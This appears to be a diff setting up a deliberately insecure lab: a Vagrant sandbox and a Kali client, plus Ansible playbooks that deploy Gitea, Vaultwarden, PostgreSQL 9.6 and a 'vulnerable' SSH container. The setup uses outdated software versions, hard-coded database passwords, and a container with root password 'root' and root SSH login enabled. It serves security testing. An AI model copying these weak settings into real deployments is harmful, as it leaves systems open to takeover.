- name: Set PostgreSQL to listen on localhost and Docker bridge IP
become: yes
lineinfile:
- path: /etc/postgresql/14/main/postgresql.conf
+ path: /etc/postgresql/9.6/main/postgresql.conf
regexp: '^#?listen_addresses\s*='
line: "listen_addresses = 'localhost,172.18.0.1'"
notify: Restart PostgreSQL
@@ -202,7 +218,7 @@
- name: Allow connections from Docker subnet in pg_hba.conf
become: yes
lineinfile:
- path: /etc/postgresql/14/main/pg_hba.conf
+ path: /etc/postgresql/9.6/main/pg_hba.conf
line: 'host all all 172.18.0.0/16 md5'
create: yes
insertafter: EOF

61
webserver/insecure/Vagrantfile vendored Normal file
View File

@ -0,0 +1,61 @@
Vagrant.configure("2") do |config|
BOX_NAME = "ubuntu/jammy64"
BOX_VERSION = "20241002.0.0"
DESKTOP_BOX_NAME = "kalilinux/rolling"
DESKTOP_BOX_VERSION = "2025.1.0"
config.vm.define "sandbox" do |sandbox|
sandbox.vm.box = BOX_NAME
sandbox.vm.box_version = BOX_VERSION
sandbox.vm.hostname = "sandbox.vm"
sandbox.vm.network "private_network", ip: "192.168.56.10"
sandbox.vbguest.no_install = true
sandbox.vm.provider "virtualbox" do |v|
v.memory = 2048
v.cpus = 2
v.customize ["modifyvm", :id, "--vram", "128"]
v.customize ["modifyvm", :id, "--graphicscontroller", "vmsvga"]
end
sandbox.vm.synced_folder ".", "/vagrant"
sandbox.vm.provision "ansible_local" do |ansible|
ansible.playbook = "/vagrant/sandbox/playbook.yml"
end
sandbox.vm.provision "file", source: "../idle_measurement.sh", destination: "$HOME/idle_measurement.sh"
end
config.vm.define "client" do |client|
client.vm.box = DESKTOP_BOX_NAME
client.vm.box_version = DESKTOP_BOX_VERSION
client.vm.hostname = "client.vm"
client.vm.network "private_network", ip: "192.168.56.20"
client.vbguest.installer = :debian
client.vm.provider "virtualbox" do |v|
v.memory = 4096
v.cpus = 2
v.customize ["modifyvm", :id, "--accelerate3d", "on"]
v.customize ["modifyvm", :id, "--vram", "128"]
v.customize ["modifyvm", :id, "--graphicscontroller", "vmsvga"]
v.customize ["modifyvm", :id, "--clipboard-mode", "bidirectional"]
end
client.vm.synced_folder ".", "/vagrant"
# required, see https://forums.kali.org/t/important-blog-post-a-new-kali-linux-archive-signing-key/6986
client.vm.provision "shell", inline: "sudo wget https://archive.kali.org/archive-keyring.gpg -O /usr/share/keyrings/kali-archive-keyring.gpg"
client.vm.provision "ansible_local" do |ansible|
ansible.playbook = "/vagrant/client/playbook.yml"
end
end
end

View File

@ -0,0 +1,30 @@
---
- hosts: all
become: true
vars:
container_count: 1
default_container_name: docker
default_container_image: hello-world
default_container_command: sleep 1
tasks:
# - name: Add Metasploit PPA
# apt_repository:
# repo: ppa:metasploit-official
# state: present
# update_cache: yes
- name: Install tools
apt:
pkg:
# - metasploit-framework
- curl
- nmap
- libnss3-tools
state: present
update_cache: yes
- name: Add sandbox hostnames to /etc/hosts
lineinfile:
path: /etc/hosts
line: "192.168.56.10 gitea.vm.local bitwarden.vm.local vuln.vm.local"
state: present

View File

@ -0,0 +1,75 @@
services:
vaultwarden:
image: vaultwarden/server:latest
container_name: vaultwarden
restart: unless-stopped
networks:
- internal
environment:
DOMAIN: "https://bitwarden.vm.local"
DATABASE_URL: "postgres://vaultwarden:vaultwarden@postgres:5432/vaultwarden"
volumes:
- ./vw-data/:/data/
expose:
- 80
extra_hosts:
- "postgres:172.18.0.1"
gitea:
image: docker.gitea.com/gitea:1.16.6
container_name: gitea
environment:
- USER_UID=1000
- USER_GID=1000
- GITEA__database__DB_TYPE=postgres
- GITEA__database__HOST=postgres:5432
- GITEA__database__NAME=gitea
- GITEA__database__USER=gitea
- GITEA__database__PASSWD=gitea
- GITEA__security__INSTALL_LOCK=true
- GITEA__server__ROOT_URL=https://gitea.vm.local/
- GITEA__migrations__ALLOW_LOCALNETWORKS=true
restart: unless-stopped
networks:
- internal
volumes:
- ./gitea:/data
- /etc/timezone:/etc/timezone:ro
- /etc/localtime:/etc/localtime:ro
ports:
- 3000:3000
expose:
- 3000
- 22
extra_hosts:
- "postgres:172.18.0.1"
vulnerable:
build: /vagrant/sandbox/vuln
ports:
- 2222:22
networks:
- internal
extra_hosts:
- "postgres:172.18.0.1"
nginx:
image: nginx:latest
container_name: nginx
restart: unless-stopped
networks:
- internal
volumes:
- ./nginx.conf:/etc/nginx/conf.d/default.conf
- ./nginx/certs:/etc/nginx/certs
ports:
- 80:80
- 443:443
networks:
internal:
driver: bridge
ipam:
config:
- subnet: 172.18.0.0/16
gateway: 172.18.0.1

View File

@ -0,0 +1,33 @@
server {
listen 443 ssl;
server_name gitea.vm.local;
ssl_certificate /etc/nginx/certs/gitea.vm.local.pem;
ssl_certificate_key /etc/nginx/certs/gitea.vm.local-key.pem;
location / {
proxy_pass http://gitea:3000;
proxy_set_header Host $host;
proxy_set_header X-Real-IP $remote_addr;
}
}
server {
listen 443 ssl;
server_name bitwarden.vm.local;
ssl_certificate /etc/nginx/certs/bitwarden.vm.local.pem;
ssl_certificate_key /etc/nginx/certs/bitwarden.vm.local-key.pem;
location / {
proxy_pass http://vaultwarden:80;
proxy_set_header Host $host;
proxy_set_header X-Real-IP $remote_addr;
}
}
server {
listen 80;
server_name _;
return 301 https://$host$request_uri;
}

View File

@ -0,0 +1,245 @@
---
- hosts: all
become: true
vars:
container_count: 1
default_container_name: docker
default_container_image: hello-world
default_container_command: sleep 1
tasks:
- name: Add PostgreSQL APT repository key
apt_key:
url: https://www.postgresql.org/media/keys/ACCC4CF8.asc
state: present
- name: Add PostgreSQL APT repository
apt_repository:
repo: deb http://apt.postgresql.org/pub/repos/apt jammy-pgdg main
state: present
filename: 'pgdg'
- name: Install required system packages
apt:
pkg:
- apt-transport-https
- ca-certificates
- curl
- software-properties-common
- virtualenv
- python3-psycopg2
- acl
- bc
- sysstat
state: latest
update_cache: true
- name: Install PostgreSQL 9.6
apt:
name: postgresql-9.6
state: present
update_cache: yes
- name: Copy nginx conf
copy:
src: /vagrant/sandbox/nginx.conf
dest: /home/vagrant/nginx.conf
- name: Copy docker compose
copy:
src: /vagrant/sandbox/docker-compose.yml
dest: /home/vagrant/docker-compose.yml
- name: Ensure certs directory exists
file:
path: /home/vagrant/nginx/certs
state: directory
mode: '0755'
- name: Install mkcert dependencies
apt:
pkg:
- libnss3-tools
- ca-certificates
state: present
update_cache: yes
- name: Download mkcert binary
get_url:
url: https://github.com/FiloSottile/mkcert/releases/latest/download/mkcert-v1.4.4-linux-amd64
dest: /usr/local/bin/mkcert
mode: '0755'
register: mkcert_download
- name: Ensure mkcert CAROOT directory exists
file:
path: /home/vagrant/.local/share/mkcert
state: directory
mode: '0755'
- name: Initialize mkcert CA
command: mkcert -install
environment:
XDG_DATA_HOME: /home/vagrant/.local/share
CAROOT: /home/vagrant/.local/share/mkcert
args:
creates: /home/vagrant/.local/share/mkcert/rootCA.pem
- name: Generate cert for gitea.vm.local
command: >
mkcert
-cert-file /home/vagrant/nginx/certs/gitea.vm.local.pem
-key-file /home/vagrant/nginx/certs/gitea.vm.local-key.pem
gitea.vm.local
args:
creates: /home/vagrant/nginx/certs/gitea.vm.local.pem
- name: Generate cert for bitwarden.vm.local
command: >
mkcert
-cert-file /home/vagrant/nginx/certs/bitwarden.vm.local.pem
-key-file /home/vagrant/nginx/certs/bitwarden.vm.local-key.pem
bitwarden.vm.local
args:
creates: /home/vagrant/nginx/certs/bitwarden.vm.local.pem
- name: Ensure export directory exists
file:
path: /vagrant/shared/ca
state: directory
mode: '0755'
- name: Copy mkcert rootCA.pem to shared directory
copy:
src: /home/vagrant/.local/share/mkcert/rootCA.pem
dest: /vagrant/shared/ca/rootCA.pem
remote_src: yes
- name: Add Docker GPG apt Key
apt_key:
url: https://download.docker.com/linux/ubuntu/gpg
state: present
- name: Add Docker Repository
apt_repository:
repo: deb https://download.docker.com/linux/ubuntu focal stable
state: present
- name: Update apt and install docker-ce
apt:
pkg:
- docker-ce
- docker-compose-plugin
state: latest
update_cache: true
- name: Add 'vagrant' and 'git' users to docker group
user:
name: "{{ item }}"
groups: docker
append: yes
loop:
- vagrant
- git
- name: Create git user
user:
name: git
shell: /home/git/docker-shell
home: /home/git
create_home: yes
- name: Deploy docker passthrough shell
copy:
dest: /home/git/docker-shell
content: |
#!/bin/sh
exec /usr/bin/docker exec -i -u git --env SSH_ORIGINAL_COMMAND="$SSH_ORIGINAL_COMMAND" gitea sh "$@"
mode: '0755'
- name: Update SSH config for git user
blockinfile:
path: /etc/ssh/sshd_config
block: |
Match User git
AuthorizedKeysCommandUser git
AuthorizedKeysCommand /usr/bin/docker exec -i -u git gitea /usr/local/bin/gitea keys -c /data/gitea/conf/app.ini -e git -u %u -t %t -k %k
- name: Restart SSH
service:
name: ssh
state: restarted
- name: Ensure PostgreSQL service is running
service:
name: postgresql
state: started
enabled: yes
- name: Create PostgreSQL user for gitea
become: true
become_user: postgres
postgresql_user:
name: gitea
password: gitea
state: present
- name: Create PostgreSQL database for gitea
become: true
become_user: postgres
postgresql_db:
name: gitea
owner: gitea
state: present
- name: Create PostgreSQL user for vaultwarden
become: true
become_user: postgres
postgresql_user:
name: vaultwarden
password: vaultwarden
state: present
- name: Create PostgreSQL database for vaultwarden
become: true
become_user: postgres
postgresql_db:
name: vaultwarden
owner: vaultwarden
state: present
- name: Set PostgreSQL to listen on localhost and Docker bridge IP
become: yes
lineinfile:
path: /etc/postgresql/9.6/main/postgresql.conf
regexp: '^#?listen_addresses\s*='
line: "listen_addresses = 'localhost,172.18.0.1'"
notify: Restart PostgreSQL
- name: Allow connections from Docker subnet in pg_hba.conf
become: yes
lineinfile:
path: /etc/postgresql/9.6/main/pg_hba.conf
line: 'host all all 172.18.0.0/16 md5'
create: yes
insertafter: EOF
state: present
notify: Restart PostgreSQL
- name: Ensure Docker service is running
service:
name: docker
state: started
enabled: true
- name: Run docker compose up -d
command: docker compose up -d
args:
chdir: /home/vagrant
handlers:
- name: Restart PostgreSQL
become: yes
service:
name: postgresql
state: restarted

View File

@ -0,0 +1,9 @@
FROM ubuntu:22.04
RUN apt update && apt install -y openssh-server
RUN echo 'root:root' | chpasswd
RUN sed -i 's/#\?PermitRootLogin .*/PermitRootLogin yes/' /etc/ssh/sshd_config && \
sed -i 's/#\?PasswordAuthentication .*/PasswordAuthentication yes/' /etc/ssh/sshd_config
RUN mkdir /var/run/sshd
EXPOSE 22
CMD ["/usr/sbin/sshd", "-D"]